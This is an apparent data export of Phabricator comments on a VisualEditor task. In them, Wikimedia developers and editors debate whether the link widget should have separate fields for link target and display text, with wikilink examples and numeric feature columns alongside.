5.666666666666667,0.0,0.0,0.0,4.333333333333333,12.333333333333334,2.6666666666666665,0.0,0.0,0.0,4.333333333333333,0.0,1.6666666666666667,1.3333333333333333,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,3.8872549019607843,0.7058823529411765,"QUOTE
QUOTE
The problem is that when you do that you could be intending to change the label without the link or you could be intending to change both label and link. There is no way for the software to know which you intend, and no way for the naive user to know which has actually happened without actively opening the link editor, but it is likely that the assumption will be that both were changed (perSCREEN_NAME-WMF). Remember that VE is focused towards inexperienced and less-computer-literate users rather than power users, so there will be a very high proportion of users who do not know that you need to actively check what VE is doing. 

Related to this, some way of identifying in the VE editing surface whether a link is piped or not would be useful in many different scenarios. I've only just thought of this but I've run out of time to investigate whether there is an existing task for this or not, so I'll pop it on VE/F and return to it this evening.
"
905442,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#3491393, @ssastry wrote:
> ... that hack is probably unpleasant, but at last for simple label text edit scenarios, it should work just fine?

It works okay, assuming that you actually know that you have to follow all of those steps.  However, I think that we've proven that this is an invalid assumption in at least a substantial fraction of cases.  We have thousands of editors who are accustomed to changing a link such as `[[2016]]` to `[[2017]]` by only changing the visible number.  When you do that in VisualEditor, you end up with `[[2016|2017]]`.
",,,1501630681,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,213,,1.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,5.0,1.0,0.0,1.0,0.0,3.0,0.0,7.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,3.0,9.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,2.0,13.0,6.0,0.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,20.0,5.0,0.0,0.0,0.0,9.0,0.0,2.0,3.0,0.0,3.0,0.0,1.0,0.0,3.8275862068965516,0.7011494252873564,"QUOTE
QUOTE

It works okay, assuming that you actually know that you have to follow all of those steps.  However, I think that we've proven that this is an invalid assumption in at least a substantial fraction of cases.  We have thousands of editors who are accustomed to changing a link such as CODE to CODE by only changing the visible number.  When you do that in VisualEditor, you end up with CODE.
"
905401,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#3224611, @Thryduulf wrote:
> Well that news is a big disaapointment as the inability to quickly, easily, reliably and unambiguously change the destination the destination and/or description of a link is the biggest single impediment to Visual Editor.
> 
> When changing a link you could want to do one of three things:
> 1. Change the label
> 2. Change the target
> 3. Chang both.
> 
> The only way to be sure that the change you want to make is the one being made is to:
> 1. delete the current link, making sure to note the exact title and capitalisation of any section links
> 2. type the label
> 3. select the label
> 4. open the link dialog
> 5. enter the link, appending section links if necessary
> 6. close the link dialog.

When you want to change the label, can't you just change the label text without opening the link editor? But yes, in certain label-edit scenarios, one hack you have to rely on is to make sure there is at least one character left behind with the link and delete that character last ... that hack is probably unpleasant, but at last for simple label text edit scenarios, it should work just fine?",,,1501628448,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,213,,0.0,0.0,0.0,0.0,0.5,5.5,2.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,7.0,7.5,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.5,0.0,2.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.5,8.5,0.5,2.5,4.0,0.0,0.0,0.0,0.0,4.5,0.5,2.0,0.0,3.0,7.5,7.0,1.5,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.5,0.0,1.0,0.0,3.696428571428571,0.5803571428571428,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

When you want to change the label, can't you just change the label text without opening the link editor? But yes, in certain label-edit scenarios, one hack you have to rely on is to make sure there is at least one character left behind with the link and delete that character last ... that hack is probably unpleasant, but at last for simple label text edit scenarios, it should work just fine?"
851932,VisualEditor: Link input widget should have separate inputs for target and display text,"Well that news is a big disaapointment as the inability to quickly, easily, reliably and unambiguously change the destination the destination and/or description of a link is the biggest single impediment to Visual Editor.

When changing a link you could want to do one of three things:
1. Change the label
2. Change the target
3. Chang both.

The only way to be sure that the change you want to make is the one being made is to:
1. delete the current link, making sure to note the exact title and capitalisation of any section links
2. type the label
3. select the label
4. open the link dialog
5. enter the link, appending section links if necessary
6. close the link dialog.

In Google Docs you need to.
1. select the link
2. open the link dialog
3. change what needs to  be changed
4. close the link dialog

Google Docs users, to my knowledge, don't find this unnecessarily heavyweight but rather simple and reliable.",,,1493599292,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,200,,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,4.666666666666667,1.6666666666666667,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,3.0,6.333333333333333,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,3.0,0.6666666666666666,0.0,0.0,1.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,3.0,0.0,0.3333333333333333,0.0,0.0,0.0,10.333333333333334,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,8.0,2.3333333333333335,5.0,1.0,2.0,9.333333333333334,0.0,0.0,0.0,0.0,7.666666666666667,0.3333333333333333,4.666666666666667,0.0,1.6666666666666667,6.333333333333333,3.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.6666666666666666,1.0,0.0,1.0,0.0,0.3333333333333333,3.0,3.6567404426559356,0.6538564721663312,"Well that news is a big disaapointment as the inability to quickly, easily, reliably and unambiguously change the destination the destination and/or description of a link is the biggest single impediment to Visual Editor.

When changing a link you could want to do one of three things:
1. Change the label
2. Change the target
3. Chang both.

The only way to be sure that the change you want to make is the one being made is to:
1. delete the current link, making sure to note the exact title and capitalisation of any section links
2. type the label
3. select the label
4. open the link dialog
5. enter the link, appending section links if necessary
6. close the link dialog.

In Google Docs you need to.
1. select the link
2. open the link dialog
3. change what needs to  be changed
4. close the link dialog

Google Docs users, to my knowledge, don't find this unnecessarily heavyweight but rather simple and reliable."
831629,VisualEditor: Link input widget should have separate inputs for target and display text,"For clarity, this task isn't likely to have work on it soon.

In general, this goes strongly against the design philosophy of the tools, making the process of adding links much ""heavier"" and context-switching. Re-validating the research results would take a lot of time and effort. In practice users don't have as many problems with this area as with others that are higher importance.",,,1490394770,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,194,,2.0,0.0,1.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,1.0,8.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,25.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,2.0,5.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,16.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,1.0,0.0,5.0,2.0,0.0,1.0,4.0375,0.75,"For clarity, this task isn't likely to have work on it soon.

In general, this goes strongly against the design philosophy of the tools, making the process of adding links much ""heavier"" and context-switching. Re-validating the research results would take a lot of time and effort. In practice users don't have as many problems with this area as with others that are higher importance."
761009,VisualEditor: Link input widget should have separate inputs for target and display text,"Another problem to take into consideration are disambiguation pages. Example:
1. I add a link to https://en.wikipedia.org/wiki/John_Quested_(producer)
2. I then change the label (which has automatically been set to ""John Quested (producer)"") to just ""John Quested"".
In this case I do not want any automatism to change the link, and actually not even a suggestion to do so.

In this case this can easily be detected, as https://en.wikipedia.org/wiki/John_Quested is marked as disambiguation page. But doing the same steps with https://en.wikipedia.org/wiki/Albert_Einstein_(album) should work, too, without changing the link accidentally to https://en.wikipedia.org/wiki/Albert_Einstein, even though that page isn't a disambiguation.",,,1479205506,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,176,,0.5,0.0,0.0,2.0,2.0,1.0,1.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,1.5,0.0,9.5,10.5,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,11.0,1.0,2.0,0.5,0.5,0.0,0.0,0.0,0.5,1.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,5.0,3.5,9.5,1.0,1.5,9.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,1.5,10.5,3.0,0.0,2.0,0.0,1.5,0.0,0.5,2.0,0.0,1.5,0.0,0.0,0.5,3.7540983606557377,0.7049180327868853,"Another problem to take into consideration are disambiguation pages. Example:
1. I add a link to URL
2. I then change the label (which has automatically been set to ""John Quested (producer)"") to just ""John Quested"".
In this case I do not want any automatism to change the link, and actually not even a suggestion to do so.

In this case this can easily be detected, as URL is marked as disambiguation page. But doing the same steps with URL should work, too, without changing the link accidentally to URL even though that page isn't a disambiguation."
760611,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2792226, @matmarex wrote:
> Another idea (strawman): If a wikilink's target is identical to label, we could just synchronize the target with the label when the label is changed. In both the link context and the link inspector, there would be a ""lock/unlock"" button to toggle this behaviour for the currently focused link.

Thanks for the proposal, @matmarex. As pointed out above, the difference is about how much automatic we need the process to be.

Changing the target automatically solves the problem without requiring the users to notice what is going on, which works rally well when it does the right thing. However it creates a stronger inconsistency of expectations when editing a link and has a higher cost for false positives:
- Inconsistency of expectations. Some links will change their target and others won't. Changing ""lemon"" to ""orange"" will change the target, but changing ""lemons"" to ""oranges"" won't. Conversely, with the proposed approach editing the document will change always the label for all kinds of links, but it will provide a suggestion to change the target too for some of them.
- Cost for false positives. The Tokyo article indicates that it is the ""capital"" (linking to [[ https://en.wikipedia.org/wiki/Capital_of_Japan | ""Capital of Japan"" ]], not to [[ https://en.wikipedia.org/wiki/Capital | ""Capital"" ]]. The user can add a link to ""Capital of Japan"", change it to just say ""capital"" and either miss that it now points to a different article or get annoyed by having to recreate the link again on an autocorrect-like situation.


>>! In T55973#2792689, @DLynch wrote:
> * It's hard to change the link text completely. Selecting the entire thing by dragging is prone to accidentally selecting outside the link annotation and thus un-linking it when you start typing. Common case: people who paste in a URL letting it auto-link, and then want to add a descriptive label.

This is an interesting case too, thanks for pointing to this, @DLynch. I wonder if we could facilitate things by selecting the whole label when the link is selected/added (similar to what ""add label"" does for quick links). This can be applied to either to (a) links with a URL as label, or (b) links that got their label automatically and have not been edited before.
It is hard to anticipate how that may interfere with all the other editing processes, but it may be worth prototyping an example to check how it feels in practice.",,,1479145858,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,176,,1.25,0.0,0.0,0.75,1.0,4.5,1.25,0.0,0.0,0.25,1.25,0.5,0.0,0.0,0.0,0.75,0.25,5.5,12.0,0.0,2.25,0.0,0.0,0.0,0.25,0.25,0.0,0.25,1.25,1.0,0.25,4.5,1.25,2.25,1.0,0.0,0.0,0.25,1.5,0.5,0.0,0.75,0.5,1.25,0.0,0.5,0.0,0.25,0.25,14.75,1.0,0.25,0.0,0.25,0.0,0.0,0.0,0.25,0.25,0.0,0.25,0.25,0.25,0.5,0.25,0.5,0.5,7.5,2.5,7.5,2.25,2.75,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.25,0.0,3.75,12.0,2.0,0.0,5.0,0.0,3.75,0.0,2.5,2.75,0.25,3.0,0.5,0.0,0.75,3.853466026080988,0.6888869823838939,"QUOTE
QUOTE

Thanks for the proposal,SCREEN_NAME. As pointed out above, the difference is about how much automatic we need the process to be.

Changing the target automatically solves the problem without requiring the users to notice what is going on, which works rally well when it does the right thing. However it creates a stronger inconsistency of expectations when editing a link and has a higher cost for false positives:
- Inconsistency of expectations. Some links will change their target and others won't. Changing ""lemon"" to ""orange"" will change the target, but changing ""lemons"" to ""oranges"" won't. Conversely, with the proposed approach editing the document will change always the label for all kinds of links, but it will provide a suggestion to change the target too for some of them.
- Cost for false positives. The Tokyo article indicates that it is the ""capital"" (linking to [[ URL | ""Capital of Japan"" ]], not to [[ URL | ""Capital"" ]]. The user can add a link to ""Capital of Japan"", change it to just say ""capital"" and either miss that it now points to a different article or get annoyed by having to recreate the link again on an autocorrect-like situation.


QUOTE
QUOTE

This is an interesting case too, thanks for pointing to this,SCREEN_NAME. I wonder if we could facilitate things by selecting the whole label when the link is selected/added (similar to what ""add label"" does for quick links). This can be applied to either to (a) links with a URL as label, or (b) links that got their label automatically and have not been edited before.
It is hard to anticipate how that may interfere with all the other editing processes, but it may be worth prototyping an example to check how it feels in practice."
760570,VisualEditor: Link input widget should have separate inputs for target and display text,"> This issue seems to happen when editing a link that uses the page title as label. This may bring expectations of such information to remain in sync when changing the link (or even not being aware of the target potentially being different from the textual representation).

I do think that's only half of the issue, mind you. There's:

* It's easy to let the link text and URL get out of sync, if they were initially the same. This will show up with internal wikilinks, and URLs which are shown in full.
* It's hard to change the link text completely. Selecting the entire thing by dragging is prone to accidentally selecting outside the link annotation and thus un-linking it when you start typing. Common case: people who paste in a URL letting it auto-link, and then want to add a descriptive label.

Your suggestion helps with the former, but not the latter. I grant that this is entirely anecdotal, but I started working on this task because the latter issue was bugging me in-practice while I used VE (whereas the former hadn't actually come up for me) so it's the one I have more personal connection to. :D

> Is that like T56947?
Sort of. T56947 proposes basically exactly what @Pginer-WMF suggested -- a ""you might want to update this"" popup -- whereas @matmarex's suggestion is a more-aggressive version of that which forces the update unless you explicitly opt out.

I think it's basically the system proposed there, yeah. We don't currently have a convenient ""suggest a change"" system in context popups like this, but it's certainly addable if we want it. Making it keyboard-accessible as suggested would break the current paradigm, but it's not like context popups are //currently// keyboard-accessible anyway, so...",,,1479141371,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,176,,0.0,0.0,0.5,0.25,1.25,6.0,1.25,0.25,0.0,0.75,1.75,0.5,0.0,0.25,0.25,2.75,0.0,7.0,9.25,0.0,1.0,0.0,0.5,0.0,2.25,0.25,0.0,0.25,0.25,0.5,0.25,7.75,1.0,3.0,1.25,1.25,0.0,0.0,1.0,1.75,0.0,0.25,0.25,1.25,0.0,0.25,0.0,0.0,0.25,9.75,1.5,0.25,0.0,0.75,0.0,0.0,0.0,0.0,0.75,0.5,0.25,0.5,0.0,0.5,0.0,0.5,0.0,5.25,1.75,6.25,2.25,2.25,7.75,0.0,0.25,0.0,0.0,3.0,0.25,0.0,0.0,7.25,9.25,1.5,0.0,1.25,0.0,7.25,0.0,1.0,1.75,0.5,2.25,0.5,0.0,0.0,3.968728639781271,0.7549128503075873,"QUOTE

I do think that's only half of the issue, mind you. There's:

* It's easy to let the link text and URL get out of sync, if they were initially the same. This will show up with internal wikilinks, and URLs which are shown in full.
* It's hard to change the link text completely. Selecting the entire thing by dragging is prone to accidentally selecting outside the link annotation and thus un-linking it when you start typing. Common case: people who paste in a URL letting it auto-link, and then want to add a descriptive label.

Your suggestion helps with the former, but not the latter. I grant that this is entirely anecdotal, but I started working on this task because the latter issue was bugging me in-practice while I used VE (whereas the former hadn't actually come up for me) so it's the one I have more personal connection to. :D

QUOTE
Sort of. T56947 proposes basically exactly whatSCREEN_NAME-WMF suggested -- a ""you might want to update this"" popup -- whereasSCREEN_NAME's suggestion is a more-aggressive version of that which forces the update unless you explicitly opt out.

I think it's basically the system proposed there, yeah. We don't currently have a convenient ""suggest a change"" system in context popups like this, but it's certainly addable if we want it. Making it keyboard-accessible as suggested would break the current paradigm, but it's not like context popups are //currently// keyboard-accessible anyway, so..."
760430,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2792226, @matmarex wrote:
> Another idea (strawman): If a wikilink's target is identical to label, we could just synchronize the target with the label when the label is changed. In both the link context and the link inspector, there would be a ""lock/unlock"" button to toggle this behavior for the currently focused link.
> 
> I think this would eliminate the user errors of the kind we see now. On the other hand, it would make it somewhat annoying when you actually wanted to change the label (especially when writing in languages with rich inflexion).

Is that like T56947?",,,1479126440,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,176,,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,46.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,31.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.230769230769231,0.6153846153846154,"QUOTE
QUOTE
QUOTE
QUOTE

Is that like T56947?"
760423,VisualEditor: Link input widget should have separate inputs for target and display text,"Another idea (strawman): If a wikilink's target is identical to label, we could just synchronize the target with the label when the label is changed. In both the link context and the link inspector, there would be a ""lock/unlock"" button to toggle this behavior for the currently focused link.

I think this would eliminate the user errors of the kind we see now. On the other hand, it would make it somewhat annoying when you actually wanted to change the label (especially when writing in languages with rich inflexion).",,,1479125778,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,176,,0.0,0.0,0.0,0.5,0.0,4.5,1.0,0.0,0.0,0.5,1.5,0.0,0.0,1.0,0.5,2.5,0.0,7.5,8.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,2.5,0.0,3.0,2.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,15.5,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,0.0,0.0,8.0,1.5,3.5,3.0,0.5,10.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,1.0,0.0,5.0,0.0,2.5,1.0,0.0,1.0,0.0,0.0,0.0,4.09433962264151,0.7924528301886793,"Another idea (strawman): If a wikilink's target is identical to label, we could just synchronize the target with the label when the label is changed. In both the link context and the link inspector, there would be a ""lock/unlock"" button to toggle this behavior for the currently focused link.

I think this would eliminate the user errors of the kind we see now. On the other hand, it would make it somewhat annoying when you actually wanted to change the label (especially when writing in languages with rich inflexion)."
760374,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2789271, @matmarex wrote:
>> As I understand it, the main problem occurs when adding a link without any previous text selection.
> 
> I think the biggest problem here is in editing links.

Thanks for the illustrative examples, @matmarex.
This issue seems to happen when editing a link that uses the page title as label. This may bring expectations of such information to remain in sync when changing the link (or even not being aware of the target potentially being different from the textual representation).

I think those cases (where the label and page name matches) could be detected by VE and provide some support to quickly solve the out-of-sync status. For example, I illustrated below how we can surface that once the user changed the label, the link is pointing to the old page but that can be changed to point to a page that matches the new label. Clicking on the suggestion (or using keyboard down arrow to select it + enter) will update the link target without writing it twice.

{F4723857, size=full}


In the example above, having separate fields for editing label and target won't be very useful since we are not accessing the editing mode where those would be shown. It can be argued that making the edit label non-editable on the editing surface could force users to access the link editing panel, but that makes other scenarios more complex (e.g., quick label corrections, or using more complex content as link labels).",,,1479120130,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,176,,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,1.0,6.333333333333333,1.0,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,6.0,10.333333333333334,0.0,2.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,2.0,0.6666666666666666,0.0,2.6666666666666665,0.6666666666666666,1.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,18.0,1.6666666666666667,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,1.0,0.0,7.333333333333333,3.3333333333333335,5.333333333333333,3.0,3.0,9.666666666666666,0.0,0.0,0.0,0.0,5.666666666666667,0.0,0.3333333333333333,0.0,2.3333333333333335,10.333333333333334,1.6666666666666667,0.0,0.0,0.0,2.3333333333333335,0.0,2.3333333333333335,0.6666666666666666,0.0,4.0,0.6666666666666666,0.0,0.0,4.1079925153702215,0.7386171255457543,"QUOTE
QUOTE
QUOTE
QUOTE

Thanks for the illustrative examples,SCREEN_NAME.
This issue seems to happen when editing a link that uses the page title as label. This may bring expectations of such information to remain in sync when changing the link (or even not being aware of the target potentially being different from the textual representation).

I think those cases (where the label and page name matches) could be detected by VE and provide some support to quickly solve the out-of-sync status. For example, I illustrated below how we can surface that once the user changed the label, the link is pointing to the old page but that can be changed to point to a page that matches the new label. Clicking on the suggestion (or using keyboard down arrow to select it + enter) will update the link target without writing it twice.

{F4723857, size=full}


In the example above, having separate fields for editing label and target won't be very useful since we are not accessing the editing mode where those would be shown. It can be argued that making the edit label non-editable on the editing surface could force users to access the link editing panel, but that makes other scenarios more complex (e.g., quick label corrections, or using more complex content as link labels)."
759926,VisualEditor: Link input widget should have separate inputs for target and display text,What matma said.,,,1478931953,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,175,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,What matma said.
759806,VisualEditor: Link input widget should have separate inputs for target and display text,"> As I understand it, the main problem occurs when adding a link without any previous text selection.

I think the biggest problem here is in editing links.

For example, a user is editing a sentence like `[[Tim Berners-Lee]] was born in [[1965]].` and wishes to correct the typo (he was actually born in 1955). Editing the visible text in VisualEditor without correcting the link target will result in `[[1965|1955]]`; editing the link target without correcting the text will result in `[[1955|1965]]`; both of these mistakes are easy to make in the current interface and difficult to spot when reviewing, if you're not looking at the wikitext source code.",,,1478892137,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,175,,0.0,0.0,0.0,1.0,1.0,5.0,2.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,1.0,2.0,4.0,16.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,8.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,3.0,16.0,6.0,0.0,0.0,0.0,3.0,0.0,1.0,2.0,0.0,7.0,0.0,1.0,0.0,4.202020202020202,0.6666666666666666,"QUOTE

I think the biggest problem here is in editing links.

For example, a user is editing a sentence like CODE and wishes to correct the typo (he was actually born in 1955). Editing the visible text in VisualEditor without correcting the link target will result in CODE; editing the link target without correcting the text will result in CODE; both of these mistakes are easy to make in the current interface and difficult to spot when reviewing, if you're not looking at the wikitext source code."
759793,VisualEditor: Link input widget should have separate inputs for target and display text,"I think it is important to separate the problem from possible solutions. As I understand it, the main problem occurs when adding a link without any previous text selection. In that context, the way to add a label has not much visibility. This generates confusion about where is the label supposed to be edited and makes it difficult workflows based on a different order than the one supported by default.

Provide a separate field for the link label as suggested above, makes label editing more explicit, but it is duplicating content that is already in the document which causes some different problems.

I was trying to explore a way to make the label editing more inviting right where it is going to be, without any duplication:

{F4716647}

When adding a link with no selection, instead of showing no content in the text, a placeholder element can be added in-place (styled similar to the link that it will become later) for the user to indicate the label, while a selector can be also available to pick the link target.

The content provided by the user in one field can inform the other (e.g., if I write ""rice"" as label, the Rice article should be among the suggestions when I click on the page search).

This is just a rough idea, but I'm curious to hear whether a solution along these lines is considered to help with the issue identified, or use it to identify which parts of the problem that I may be missing.",,,1478889614,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,175,,1.3333333333333333,0.0,0.0,1.0,0.3333333333333333,5.0,2.0,0.0,0.0,0.3333333333333333,3.3333333333333335,0.3333333333333333,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,5.0,13.666666666666666,0.0,3.6666666666666665,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.6666666666666666,6.0,2.3333333333333335,2.3333333333333335,2.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,3.3333333333333335,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,15.333333333333334,0.6666666666666666,0.6666666666666666,0.0,1.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.0,0.6666666666666666,0.0,10.333333333333334,4.666666666666667,5.333333333333333,3.0,1.3333333333333333,14.0,0.0,0.0,0.0,0.0,6.333333333333333,0.0,0.3333333333333333,0.0,4.666666666666667,13.666666666666666,0.6666666666666666,0.0,0.6666666666666666,0.0,4.666666666666667,0.0,3.0,3.3333333333333335,0.0,3.0,0.6666666666666666,0.0,0.0,4.034364261168385,0.7216494845360825,"I think it is important to separate the problem from possible solutions. As I understand it, the main problem occurs when adding a link without any previous text selection. In that context, the way to add a label has not much visibility. This generates confusion about where is the label supposed to be edited and makes it difficult workflows based on a different order than the one supported by default.

Provide a separate field for the link label as suggested above, makes label editing more explicit, but it is duplicating content that is already in the document which causes some different problems.

I was trying to explore a way to make the label editing more inviting right where it is going to be, without any duplication:

{F4716647}

When adding a link with no selection, instead of showing no content in the text, a placeholder element can be added in-place (styled similar to the link that it will become later) for the user to indicate the label, while a selector can be also available to pick the link target.

The content provided by the user in one field can inform the other (e.g., if I write ""rice"" as label, the Rice article should be among the suggestions when I click on the page search).

This is just a rough idea, but I'm curious to hear whether a solution along these lines is considered to help with the issue identified, or use it to identify which parts of the problem that I may be missing."
758347,VisualEditor: Link input widget should have separate inputs for target and display text,"> How do you deal with something like `[[Parrot|{{lang|fr|perroquet}}]]`, where the label is built on a template?

